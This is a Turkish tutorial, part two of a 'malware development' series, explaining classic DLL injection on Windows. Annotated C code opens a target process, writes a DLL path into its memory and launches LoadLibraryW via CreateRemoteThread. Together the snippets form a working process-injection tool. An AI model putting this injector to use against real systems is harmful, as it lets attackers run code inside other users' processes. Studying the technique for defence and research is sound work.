Klasik DLL Injection
Selamlar, bugün sizlere MALWARE DEV 2. inci konumuzu anlatıcağım. Bu konuyu daha iyi anlamak için önceki notlarımı okumanızı tavsiye ederim. Neyse, basit ve anlaşılır şekilde anlatmaya çalışacağım.
Algoritma
- Hedef processi açmak:
İlk adım DLL'i hangi processe yükleyeceğimizi belirlemek. Bunu vereceğimiz argüman ile yapıcağız. Windows'da process handle ile temsil edilir. Her processin bir PID'i yani bir process id'si olur. Adresi
OpenProcessile alırsın. Artık process üzerinde işlem yapabileceğin anlamına gelir. - Hedef Process Belleğine Yer Ayırmak:
DLL yolunu processin kendi belleğine koymamız gerekecek. Bunu yapmaz isek process DLL'i bulamaz ve istediğimiz kodu çalıştıramaz. Burada önceki dersin
VirtualAllocExAPI'sini kullanacağız. Processin kendi sanal adres alanında yer ayırıyor. - DLL Yolunu Yazmak:
Ayrılan bu alana DLL'in tam yolunu yazarız. Çünkü Windows'ta bulunan
LoadLibraryçalışırken DLL nerede olduğunu bilmek mecburiyetinde. Bu adım DLL yükleme ön hazırlığıdır. - LoadLibrary Fonksiyonunu Bulma:
Windows'ta ve Linux'ta dahil olmak üzere her bir fonksiyonun, hatta syscall'ların bile adresi bulunur. Bu syscall'ları API'leri içerisinde bulunduran
Kernel32.dllgibi DLL'lerde ya dantdllWindows API'de DLL yükleyen fonksiyonLoadLibrary'dir. Ama biz kendi programımızda değil, hedef process içinde çalıştırmamız lazım. Yani önceKernel32.dlliçindenLoadLibrary'i alıcağız.
Kod - Açıklamalı Parçalar
1. Hedef Prosesin Açılması
#include <windows.h>
#include <stdio.h>
int main(int argc, char* argv[]) {
if(argc < 2) {
return 1;
}
DWORD pid = atoi(argv[1]); // Kullanıcının verdiği PID
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if(hProcess == NULL) {
printf("Proses açılamadı.\n");
return 1;
}
}
Bu adım hedef prosesi açar ve işlem yapabilmek için gerekli handle'ı alır.
2. Hedef Process Belleğinde Yer Ayırma
wchar_t dllPath[] = L"C:\\path\\to\\your.dll"; // DLL yolu
LPVOID remoteBuffer = VirtualAllocEx(
hProcess,
NULL,
sizeof(dllPath),
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE
);
if(remoteBuffer == NULL) {
printf("Bellek ayrılmadı.\n");
return 1;
}
Hedef processin belleğinde DLL yolunu saklayabileceğimiz bir alan oluşturuyoruz.
3. DLL Yolunu Hedef Prosese Yazmak
WriteProcessMemory(
hProcess,
remoteBuffer,
(LPVOID)dllPath,
sizeof(dllPath),
NULL
);
Ayrılan belleğe DLL'in tam yolunu yazarız, böylece LoadLibrary bu yolu kullanabilir.
4. LoadLibrary Fonksiyonunun Adresini Bulmak
LPTHREAD_START_ROUTINE loadLibraryAddr =
(LPTHREAD_START_ROUTINE)GetProcAddress(
GetModuleHandleA("Kernel32.dll"),
"LoadLibraryW"
);
if(loadLibraryAddr == NULL) {
printf("LoadLibrary adresi bulunamadı.\n");
return 1;
}
LoadLibraryW fonksiyonunun adresini alıyoruz, böylece hedef process içinde bu fonksiyonu çalıştırabileceğiz.
5. Remote Thread Oluşturma
HANDLE hThread = CreateRemoteThread(
hProcess,
NULL,
0,
loadLibraryAddr,
remoteBuffer,
0,
NULL
);
if(hThread == NULL) {
printf("Thread oluşturulamadı.\n");
return 1;
}
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
CloseHandle(hProcess);
Bu son adımda hedef proseste yeni bir thread başlatıyoruz. Thread, LoadLibrary fonksiyonunu çalıştıracak ve DLL yüklenmiş olacak.
Yorum Gönder